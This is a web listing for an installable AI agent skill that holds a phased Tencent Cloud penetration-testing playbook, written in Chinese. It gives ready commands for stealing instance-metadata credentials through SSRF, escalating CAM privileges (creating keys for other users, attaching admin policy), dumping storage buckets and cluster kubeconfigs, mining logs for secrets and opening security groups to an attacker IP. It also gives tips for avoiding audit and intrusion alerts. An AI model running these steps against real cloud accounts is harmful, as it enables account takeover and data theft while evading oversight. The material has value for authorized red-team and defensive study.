Tencent Pentesting logo

Tencent Pentesting

OrganizationPopular
wgpsec
tencent-pentesting

腾讯云渗透测试方法论。当目标使用腾讯云服务、发现 cos.*.myqcloud.com 资产、获取腾讯云 SecretId/SecretKey、在 CVM 实例内可访问 metadata.tencentyun.com 元数据、或需要对腾讯云 CAM/CVM/COS/TencentDB/TKE/SCF 等服务进行安全评估时使用。覆盖 CAM 提权、CVM 接管、COS 对象存储利用、TencentDB 数据库攻击、TKE 容器集群、SCF 云函数、CLB 负载均衡、CLS 日志服务、KMS 密钥管理

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill nametencent-pentesting
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Tencent Pentesting AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/tencent-pentesting .claude/skills/tencent-pentesting
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Tencent Pentesting in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Tencent Pentesting on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Tencent Pentesting is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

腾讯云渗透测试方法论

腾讯云 CAM/CVM/COS/TencentDB/TKE 等服务构成主要攻击面。与 AWS/阿里云不同,腾讯云元数据常用域名 metadata.tencentyun.com,部分环境也支持链路本地 IP(如 169.254.0.23);COS 操作需要独立的 coscmd 工具,CAM 使用 Uin/SubUin 身份模型(而非 ARN 体系)。本技能以渗透阶段(Phase)为主线,从凭据识别到各服务利用,提供完整攻击路径。

⛔ 深入参考(必读)

识别到具体攻击服务后,加载对应参考文档获取完整技术细节:


Phase 1: 环境识别

拿到腾讯云相关目标后,首先识别凭据类型、确认 CLI 工具可用、判断网络位置。

1.1 凭据类型

凭据类型识别特征有效期获取方式
长期 SecretId/SecretKeySecretId 以 AKID 开头永久(直到手动轮换)CAM 控制台创建 / 代码泄露
STS 临时凭据包含 Token 字段15 分钟 ~ 2 小时AssumeRole / CVM 元数据
CVM Role(实例绑定)通过 metadata.tencentyun.com 获取自动轮换CVM 实例元数据服务

1.2 CLI 配置

腾讯云有两个关键 CLI 工具,务必区分:

bash
# 主 CLI: tccli(覆盖绝大多数服务)
pip install tccli
tccli configure
# 交互式填入 SecretId / SecretKey / Region / Output

# 验证当前身份
tccli sts GetCallerIdentity
# 返回: AccountId, Arn, Type (对应 Root/SubUser/RoleUser)

# COS 专用工具: coscmd(tccli cos 子命令功能有限!)
pip install coscmd
coscmd config -a SECRET_ID -s SECRET_KEY -b BUCKET_NAME -r REGION
# coscmd 支持 list / upload / download / delete 等完整文件操作
# tccli cos 仅支持 Bucket 级别 API,无法方便地列出/下载对象

关键差异: 腾讯云 COS 操作必须结合 coscmdtccli cos GetService 可以列出 Bucket 列表,但枚举对象内容、批量下载等操作需要 coscmd。这是腾讯云渗透中的重要工具区别。

1.3 元数据端点

腾讯云 CVM 元数据端点常用域名 metadata.tencentyun.com,部分环境也可通过链路本地 IP(如 169.254.0.23)访问;SSRF 探测和防护应同时考虑域名与 IP 形态。

bash
# 判断是否在 CVM 实例内部
curl -s http://metadata.tencentyun.com/latest/meta-data/
curl -s http://169.254.0.23/latest/meta-data/

# 获取实例绑定的 CAM Role 名称
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/

# 获取该 Role 的临时凭据(TmpSecretId/TmpSecretKey/Token)
curl -s http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/ROLE_NAME

# 获取实例 ID、区域等信息
curl -s http://metadata.tencentyun.com/latest/meta-data/instance-id
curl -s http://metadata.tencentyun.com/latest/meta-data/placement/region

# 获取 User-Data(可能包含初始化脚本中的凭据)
curl -s http://metadata.tencentyun.com/latest/user-data

SSRF 利用差异: 腾讯云元数据常用域名 metadata.tencentyun.com,也可能存在链路本地 IP 访问路径;仅限制 AWS/Aliyun 常见元数据 IP(如 169.254.169.254100.100.100.200)并不充分。同时,腾讯云目前不强制 IMDSv2,大部分 CVM 实例的元数据服务可直接通过 HTTP GET 访问。

1.4 对象存储 URL 格式

公网访问:  https://{bucket}-{appid}.cos.{region}.myqcloud.com/{object}
自定义域名:  https://custom.domain.com/{object}

发现 cos.*.myqcloud.com 域名即可确认目标使用腾讯云 COS。Bucket 名称格式为 {name}-{appid},appid 为数字。

1.5 区域编码

区域代码位置备注
ap-guangzhou华南地区(广州)腾讯云总部所在地,最常用区域
ap-shanghai华东地区(上海)金融客户常用
ap-beijing华北地区(北京)政企客户常用
ap-chengdu西南地区(成都)
ap-chongqing西南地区(重庆)
ap-nanjing华东地区(南京)
ap-hongkong中国香港无需备案,常被用于出海业务
ap-singapore新加坡海外区域

枚举时需遍历多个区域。部分服务(如 CAM、STS)为全局服务,不受区域限制。

1.6 CAM 身份模型

腾讯云 CAM 使用 Uin/SubUin 模型,与 AWS ARN 体系不同:

概念腾讯云 CAMAWS IAM
主账号标识Uin(数字,如 100000123456)Account ID(12 位数字)
子用户标识SubUin(数字)IAM User ARN
角色标识RoleId + RoleNameRole ARN
策略关联通过 Uin/SubUin 绑定通过 ARN 绑定
bash
# 获取当前身份(已在 1.2 中介绍,此处复习)
tccli sts GetCallerIdentity
# 返回 AccountId(即主账号 Uin)、Type

# 列出子用户详情(需知道子用户 Uin)
tccli cam DescribeSubAccounts --FilterSubAccountUin '[SUB_UIN]'

Phase 2: 攻击决策树

根据当前持有的凭据/位置,判断攻击路径:

当前持有什么?
├── 无凭据
│   ├── 有目标域名 → COS Bucket 枚举(猜解 bucket-appid 名 + 公开访问检测)
│   ├── 有 SSRF 漏洞 → 打 http://metadata.tencentyun.com 获取 CAM Role 凭据
│   └── 仅知组织名 → OSINT + COS/子域名枚举
├── 有 SecretId/SecretKey(AKID 开头)
│   ├── 先验证: tccli sts GetCallerIdentity
│   ├── 有 CAM 写权限 → Phase 3(CAM 提权)
│   ├── 有 CVM 权限 → Phase 4(计算/存储)
│   ├── 有 COS 权限 → Phase 4(对象存储,需 coscmd!)
│   ├── 有 TencentDB 权限 → Phase 4(数据库)
│   └── 权限不明 → 逐服务探测(手动调用各命名空间 Describe* 类 API)
├── 有 STS 临时凭据(含 Token)
│   └── 同上,但需注意有效期(最长 2 小时),快速行动
├── 在 CVM 实例内部
│   ├── 获取元数据 CAM Role 凭据 → 根据权限进入对应 Phase
│   └── 检查 User-Data 中是否有硬编码凭据
└── 有容器环境(TKE Pod 内部)
    ├── 检查 ServiceAccount Token
    ├── 尝试访问 metadata.tencentyun.com 元数据
    └── → Phase 5(容器/Serverless)

Phase 3: CAM 提权速查

CAM(Cloud Access Management)是腾讯云的身份权限服务,对标 AWS IAM。

3.1 信息收集

bash
# 列出所有子用户
tccli cam ListUsers

# 查看指定子用户的策略(使用 SubUin)
tccli cam ListAttachedUserPolicies --TargetUin SUB_UIN

# 列出该用户的 AccessKey
tccli cam ListAccessKeys --TargetUin UIN

# 列出所有角色
tccli cam DescribeRoleList --Page 1 --Rp 100

3.2 提权路径

提权路径所需权限操作
创建 AccessKeycam:CreateAccessKey为高权限用户创建新 SecretId/SecretKey
附加策略cam:AttachUserPolicy给自己附加 AdministratorAccess
创建策略版本cam:CreatePolicy创建 Allow * 策略并附加到自身
修改角色信任策略cam:UpdateAssumeRolePolicy修改角色信任实体使自己可 AssumeRole
PassRole + 创建 CVMcam:PassRole + cvm:RunInstances启动绑定高权限 Role 的 CVM
PassRole + 创建 SCFcam:PassRole + scf:CreateFunction创建绑定高权限 Role 的云函数并执行
bash
# 提权示例:为目标用户创建新 AccessKey
tccli cam CreateAccessKey --TargetUin TARGET_UIN
# 成功返回 SecretId + SecretKey,用新凭据重新配置 CLI

# 提权示例:给当前用户附加管理员策略
tccli cam AttachUserPolicy --PolicyId 1 --AttachUin CURRENT_SUB_UIN
# PolicyId 1 = AdministratorAccess(腾讯云预设策略)

Phase 4: 计算/存储/数据库速查

CVM(云服务器)

bash
# 列出实例
tccli cvm DescribeInstances --output json

# 获取指定实例详情
tccli cvm DescribeInstances --InstanceIds '["ins-INSTANCE_ID"]'

→ 读 references/compute-storage-attacks.md 获取 VNC 连接、User-Data 提取、TAT 命令执行完整流程

COS(对象存储)

bash
# 列出所有 Bucket(tccli 可完成)
tccli cos GetService --output json

# 列出 Bucket 内容(必须用 coscmd!)
coscmd -b BUCKET_NAME -r REGION list
coscmd -b BUCKET_NAME -r REGION list -a  # 递归列出所有对象

→ 读 references/compute-storage-attacks.md 获取 ACL 检查、数据下载、公开访问检测完整流程

TencentDB(数据库)

bash
# 列出所有 MySQL 实例(cdb 命名空间)
tccli cdb DescribeDBInstances --output json

→ 读 references/compute-storage-attacks.md 获取连接信息获取、账号创建、数据导出完整流程

CLB(负载均衡)

bash
# 列出所有负载均衡实例
tccli clb DescribeLoadBalancers --output json

→ 读 references/compute-storage-attacks.md 获取后端篡改、流量劫持完整流程


Phase 5: 容器/Serverless/日志/KMS 速查

TKE(容器服务 Kubernetes)

bash
# 列出集群 → 获取 kubeconfig
tccli tke DescribeClusters
tccli tke DescribeClusterKubeconfig --ClusterId cls-CLUSTER_ID

→ 读 references/platform-services-attacks.md 获取集群接管、特权 Pod 创建完整流程

SCF(云函数)

bash
# 列出函数(命名空间为 scf,不是 scb!)
tccli scf ListFunctions --Namespace default --output json

→ 读 references/platform-services-attacks.md 获取代码提取、环境变量泄露完整流程

CLS(日志服务)

bash
# 搜索敏感信息
tccli cls SearchLog --TopicId TOPIC_ID --Query "password|secret|token"

→ 读 references/platform-services-attacks.md 获取日志搜索、批量导出完整流程

KMS(密钥管理)

bash
# 列出密钥 → 尝试解密
tccli kms ListKeys

→ 读 references/platform-services-attacks.md 获取密钥枚举、数据解密完整流程


Phase 6: 安全组操控

安全组是腾讯云 CVM 的网络访问控制层,类似 AWS Security Groups。利用安全组规则可以打开网络通路。

bash
# 列出所有安全组
tccli vpc DescribeSecurityGroups --output json

# 查看安全组规则
tccli vpc DescribeSecurityGroupPolicies --SecurityGroupId sg-SG_ID

# 添加入方向规则 — 仅开放攻击者 IP 的 SSH
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
  --SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"22","CidrBlock":"ATTACKER_IP/32","Action":"ACCEPT"}]}'

# 危险操作 — 开放所有端口(极高告警风险)
tccli vpc CreateSecurityGroupPolicies --SecurityGroupId sg-SG_ID \
  --SecurityGroupPolicySet '{"Ingress":[{"Protocol":"tcp","Port":"ALL","CidrBlock":"0.0.0.0/0","Action":"ACCEPT"}]}'

判断依据: 仅在需要建立反向连接或直接访问内部服务时操作安全组。优先使用最小端口范围 + 指定源 IP,避免触发大禹安全告警。


工具速查

工具用途安装/使用
tccli腾讯云官方命令行工具pip install tccli
coscmdCOS 对象存储专用工具(必备!)pip install coscmd
tccli sts GetCallerIdentity验证凭据身份内置子命令
curl元数据服务探测(注意用域名)系统自带
kubectlTKE 集群操作获取 kubeconfig 后使用
cf (Cloud Exploitation Framework)腾讯云/阿里云自动化利用go install github.com/teamssix/cf@latest

注意事项

云审计感知: 腾讯云云审计(CloudAudit)记录管理事件 API 调用(类似 AWS CloudTrail)。以下操作产生高可见性日志:

  • CAM 变更(CreateUser、CreateAccessKey、AttachUserPolicy)
  • STS 调用(AssumeRole)
  • 安全组规则变更(CreateSecurityGroupPolicies,vpc 命名空间)

大禹安全检测: 腾讯云安全产品会检测:

  • SecretId/SecretKey 异常调用(异常 IP、异常时间、异常 API 频率)
  • CVM 异常登录(非常用地域 IP)
  • 安全组规则异常开放
  • COS Bucket ACL 变更为公开

速率限制: 腾讯云 API 有限流机制,枚举时建议控制频率。触发限流返回 RequestLimitExceeded 错误码。

区域遍历: 与 AWS 类似,腾讯云资源按区域隔离。全局服务(CAM、STS)不受区域限制,但 CVM/COS/TencentDB 等需逐区域枚举。

tccli 参数格式: tccli 部分参数接受 JSON 格式(如 --Accounts '[{...}]'--SecurityGroupPolicySet '{...}'),注意正确的 JSON 转义。

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Tencent Pentesting AI skill do?

腾讯云渗透测试方法论。当目标使用腾讯云服务、发现 cos.*.myqcloud.com 资产、获取腾讯云 SecretId/SecretKey、在 CVM 实例内可访问 metadata.tencentyun.com 元数据、或需要对腾讯云 CAM/CVM/COS/TencentDB/TKE/SCF 等服务进行安全评估时使用。覆盖 CAM 提权、CVM 接管、COS 对象存储利用、TencentDB 数据库攻击、TKE 容器集群、SCF 云函数、CLB 负载均衡、CLS 日志服务、KMS 密钥管理

Why use Tencent Pentesting on TypingMind?

Because you install it once and use it with any model. Tencent Pentesting is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Tencent Pentesting in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/tencent-pentesting. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Tencent Pentesting?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Tencent Pentesting?

As many as you like. As long as a model supports skills, you can use Tencent Pentesting with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Tencent Pentesting AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇